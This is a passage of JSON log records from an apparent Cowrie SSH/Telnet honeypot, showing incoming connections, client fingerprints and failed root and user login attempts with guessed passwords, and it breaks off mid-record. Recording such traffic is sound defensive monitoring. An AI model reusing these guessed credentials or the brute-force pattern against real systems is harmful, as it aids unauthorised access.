{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.895318Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:4e:c7:e4:9b:08:0e:7e:dd:5c:7a:3c:61:aa:e9:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2hWa1OceeLVZE1hnyGL+pxvY7D+UW/S5febA6WYy9WRnmBLoLpEMfvtdnBoecXiIUVzxO+z0q579UpD0wsQFFPMCK+i0/At6uodf508aiyK7xM23L/3GCXLONo99ZiICDhCGg2HlZnf+seKPnrsHiLMvSrQgf5dKZIMuxEvRIuS2UXE1DnQS9zZVPkVrAKl+yLuZicrD42SRafLxGQIdFD57Az0PQ0xQEkYXD5gTwk9edJjgV24BgUtJ1lEdc55pG5JFPY691rjLClGaANKKH4CYh5dFpiZo33qjzzz9G9yHWERGMbyfiRxCMvnn6kNzGcEWq9TeSBPdw9CM4Uq0H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:4e:c7:e4:9b:08:0e:7e:dd:5c:7a:3c:61:aa:e9:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.916027Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:4e:c7:e4:9b:08:0e:7e:dd:5c:7a:3c:61:aa:e9:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2hWa1OceeLVZE1hnyGL+pxvY7D+UW/S5febA6WYy9WRnmBLoLpEMfvtdnBoecXiIUVzxO+z0q579UpD0wsQFFPMCK+i0/At6uodf508aiyK7xM23L/3GCXLONo99ZiICDhCGg2HlZnf+seKPnrsHiLMvSrQgf5dKZIMuxEvRIuS2UXE1DnQS9zZVPkVrAKl+yLuZicrD42SRafLxGQIdFD57Az0PQ0xQEkYXD5gTwk9edJjgV24BgUtJ1lEdc55pG5JFPY691rjLClGaANKKH4CYh5dFpiZo33qjzzz9G9yHWERGMbyfiRxCMvnn6kNzGcEWq9TeSBPdw9CM4Uq0H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.919412Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:c5:0a:95:1a:90:b2:e0:10:58:fe:c7:04:57:2f:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMNOizZWNzKcQ0mzcWkMqnsScQDLu22NLoU+Gz5cS6POmFteYOqlWz695E7eaV7lJMDb9VTN12003rC+9VLm3AAzSnBX3Xz78dpDGYEWJ4Hi0RnmgKGOqeNKqmVe/c4RH8LAybCmn4MkHwICoNii0LqqpfZlm5vxGSqHQiVseYoAo4qM/xjVyqSOnlbtJT9Frx4h2tnAzMR1l850zaEfaGPpu/Jnxo9pCD/wd1rK3g0nBGBk93/NnP5KgBwdBXUgQDSTzAVfiP21T/tUne8ocJAm/PhJHbKjk2w0ZAmWd1O8QZNNYUFbot1X4tlvWp+/3XEJJOV2Jl4O+mU1xTekq9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:c5:0a:95:1a:90:b2:e0:10:58:fe:c7:04:57:2f:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.930968Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:c5:0a:95:1a:90:b2:e0:10:58:fe:c7:04:57:2f:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMNOizZWNzKcQ0mzcWkMqnsScQDLu22NLoU+Gz5cS6POmFteYOqlWz695E7eaV7lJMDb9VTN12003rC+9VLm3AAzSnBX3Xz78dpDGYEWJ4Hi0RnmgKGOqeNKqmVe/c4RH8LAybCmn4MkHwICoNii0LqqpfZlm5vxGSqHQiVseYoAo4qM/xjVyqSOnlbtJT9Frx4h2tnAzMR1l850zaEfaGPpu/Jnxo9pCD/wd1rK3g0nBGBk93/NnP5KgBwdBXUgQDSTzAVfiP21T/tUne8ocJAm/PhJHbKjk2w0ZAmWd1O8QZNNYUFbot1X4tlvWp+/3XEJJOV2Jl4O+mU1xTekq9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.934932Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:0a:6d:3a:bf:a9:34:67:fa:61:f6:3d:72:92:9f:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdGYjV05lHThJ5JpUq7Ta2Mw9xY90jPixVhP5c0NmpAzQjrmml6DXG6ubtKuMLLq/aAtxEjdBntB3f8Kr+aBZVSg+orwJhVPU1Yf3miH7trTheXBxiXE3Or2IXVrAD5zz0OLrI510toMGwQJm8mrcMQFAP7ByweS8loGyG6XdVgq+lItQ645djPomdhORnvvcx+kRv3p4efr8CusKPEbw+B69pmPUJHKDEZqhm0XKSQvuvIzM/2ZmkX4FuEUDPsxzKO/vqh5LuCo+WSR8Fa8zYPAiOhScLiGKVSm43MpDd7T5A6cMwiLuegjGpBz37x2DHvf8Coz1DrwiMGOmItPDj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:0a:6d:3a:bf:a9:34:67:fa:61:f6:3d:72:92:9f:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.943080Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:0a:6d:3a:bf:a9:34:67:fa:61:f6:3d:72:92:9f:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdGYjV05lHThJ5JpUq7Ta2Mw9xY90jPixVhP5c0NmpAzQjrmml6DXG6ubtKuMLLq/aAtxEjdBntB3f8Kr+aBZVSg+orwJhVPU1Yf3miH7trTheXBxiXE3Or2IXVrAD5zz0OLrI510toMGwQJm8mrcMQFAP7ByweS8loGyG6XdVgq+lItQ645djPomdhORnvvcx+kRv3p4efr8CusKPEbw+B69pmPUJHKDEZqhm0XKSQvuvIzM/2ZmkX4FuEUDPsxzKO/vqh5LuCo+WSR8Fa8zYPAiOhScLiGKVSm43MpDd7T5A6cMwiLuegjGpBz37x2DHvf8Coz1DrwiMGOmItPDj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.946587Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:be:6c:8d:e2:4e:50:bb:15:5c:d8:b7:08:49:8d:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuxF91BYMDT64fYnvwz7UE1S2zXbDzVDuI0L/ou1y8tkSMkWUasWb1PUPjgEQVHdJ6rTHwnWrypcZynNs6x19mJF+qyAXVjENKvokAsMvc4tv1FhuNqJhFWrF9etaPAXorUu1g923IuuEbD099DnkmdUAgvgwynQrnbG4ch3BH7rU3AT3vxANy+FsllBhSwnYYctrXljpTIY+DBVGAye5cJzRIrG07U7/jUpS8No2SVSO5/r9zPRK0+tw2y7wGvY8JrkFoLMbp+mmnvAbPkOZjLdQulkouqm5LqMTQwpH9y29E29oBtg671QXIwFbPiV5yoWuZLi7X04mAD9g8Lr/VQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:be:6c:8d:e2:4e:50:bb:15:5c:d8:b7:08:49:8d:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.955076Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:be:6c:8d:e2:4e:50:bb:15:5c:d8:b7:08:49:8d:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuxF91BYMDT64fYnvwz7UE1S2zXbDzVDuI0L/ou1y8tkSMkWUasWb1PUPjgEQVHdJ6rTHwnWrypcZynNs6x19mJF+qyAXVjENKvokAsMvc4tv1FhuNqJhFWrF9etaPAXorUu1g923IuuEbD099DnkmdUAgvgwynQrnbG4ch3BH7rU3AT3vxANy+FsllBhSwnYYctrXljpTIY+DBVGAye5cJzRIrG07U7/jUpS8No2SVSO5/r9zPRK0+tw2y7wGvY8JrkFoLMbp+mmnvAbPkOZjLdQulkouqm5LqMTQwpH9y29E29oBtg671QXIwFbPiV5yoWuZLi7X04mAD9g8Lr/VQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.958300Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:b9:77:84:c3:2b:28:75:9d:d7:82:2e:fd:80:cd:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnELVkXDL6jv2dnxwO+8yfzIuX0X2uhZIunZomVPOp8Lfm/49AJUtfhkY2EFNcmarBA9Tmxl/E9JsUFsyN+LB0//nDeAeU/PBXXSG3WCW0tdHRnUWxx/NdCoZBTjhHmvlj5RclWfGQm8UiSOvZv5OmkJCv5Rf4n6mOC0qv5NvYbrB4vqqHvbC2wS4Bw80vjTHC4wd3OU+6L22/LeFCda5K53rBiXrLiubLFdtfDRjdgySqB+n1JhvqvVJkdAPchRWyyc5ZvflMwsFf0/mETRyC9UnlldtNwDhStViww/s2v9eq3lFlNCZlFGKmb71cywviIXSDJEfDrnSbDOrRuJSbw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:b9:77:84:c3:2b:28:75:9d:d7:82:2e:fd:80:cd:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.968384Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:b9:77:84:c3:2b:28:75:9d:d7:82:2e:fd:80:cd:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnELVkXDL6jv2dnxwO+8yfzIuX0X2uhZIunZomVPOp8Lfm/49AJUtfhkY2EFNcmarBA9Tmxl/E9JsUFsyN+LB0//nDeAeU/PBXXSG3WCW0tdHRnUWxx/NdCoZBTjhHmvlj5RclWfGQm8UiSOvZv5OmkJCv5Rf4n6mOC0qv5NvYbrB4vqqHvbC2wS4Bw80vjTHC4wd3OU+6L22/LeFCda5K53rBiXrLiubLFdtfDRjdgySqB+n1JhvqvVJkdAPchRWyyc5ZvflMwsFf0/mETRyC9UnlldtNwDhStViww/s2v9eq3lFlNCZlFGKmb71cywviIXSDJEfDrnSbDOrRuJSbw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.971781Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.980439Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":35302,"dst_ip":"10.17.0.5","dst_port":22,"session":"da59b288ff2b","protocol":"ssh","message":"New connection: 38.93.206.2:35302 (10.17.0.5:22) [session: da59b288ff2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:56.888702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:56.894101Z","src_ip":"38.93.206.2","session":"da59b288ff2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:56.945069Z","src_ip":"38.93.206.2","session":"da59b288ff2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roma2002","message":"login attempt [root/roma2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:57.100801Z","src_ip":"38.93.206.2","session":"da59b288ff2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:58.154042Z","src_ip":"38.93.206.2","session":"da59b288ff2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.49613165855408,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:00.871138Z","src_ip":"135.148.14.151","session":"bbbdf934b94a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.74102067947388,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:01.304219Z","src_ip":"135.148.14.151","session":"484ac51b2c44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.444302797317505,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:11.940022Z","src_ip":"135.148.14.151","session":"5442880655cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.785499572753906,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:12.532592Z","src_ip":"135.148.14.151","session":"1c0220e35cbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42326,"dst_ip":"159.203.135.109","dst_port":23,"session":"de1b5ceda725","protocol":"telnet","message":"New connection: 135.148.14.151:42326 (159.203.135.109:23) [session: de1b5ceda725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:25.263191Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46502,"dst_ip":"159.203.135.109","dst_port":23,"session":"23bf22b33c77","protocol":"telnet","message":"New connection: 135.148.14.151:46502 (159.203.135.109:23) [session: 23bf22b33c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:40.577566Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50864,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeed60bc24f5","protocol":"telnet","message":"New connection: 135.148.14.151:50864 (159.203.135.109:23) [session: eeed60bc24f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:42.918659Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50432,"dst_ip":"159.203.135.109","dst_port":23,"session":"62253df8d1ed","protocol":"telnet","message":"New connection: 135.148.14.151:50432 (159.203.135.109:23) [session: 62253df8d1ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:44.996934Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":44824,"dst_ip":"159.203.135.109","dst_port":22,"session":"7400c037abfd","protocol":"ssh","message":"New connection: 2.57.121.25:44824 (159.203.135.109:22) [session: 7400c037abfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:47.449166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:47.457185Z","src_ip":"2.57.121.25","session":"7400c037abfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:47.560537Z","src_ip":"2.57.121.25","session":"7400c037abfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"090988","message":"login attempt [user/090988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:48.021117Z","src_ip":"2.57.121.25","session":"7400c037abfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09091992","message":"login attempt [user/09091992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:49.132103Z","src_ip":"2.57.121.25","session":"7400c037abfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54032,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9ab729d6540","protocol":"telnet","message":"New connection: 135.148.14.151:54032 (159.203.135.109:23) [session: b9ab729d6540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:49.875915Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"09091983","message":"login attempt [user/09091983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:50.241313Z","src_ip":"2.57.121.25","session":"7400c037abfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09081979","message":"login attempt [user/09081979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:51.356595Z","src_ip":"2.57.121.25","session":"7400c037abfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"090807","message":"login attempt [user/090807] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:52.467112Z","src_ip":"2.57.121.25","session":"7400c037abfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:16:53.576598Z","src_ip":"2.57.121.25","session":"7400c037abfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.26479482650757,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:01.527860Z","src_ip":"135.148.14.151","session":"de1b5ceda725","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12924,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2fa3136e77e","protocol":"ssh","message":"New connection: 87.251.64.176:12924 (10.17.0.5:22) [session: c2fa3136e77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:07.073236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:17:07.078620Z","src_ip":"87.251.64.176","session":"c2fa3136e77e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 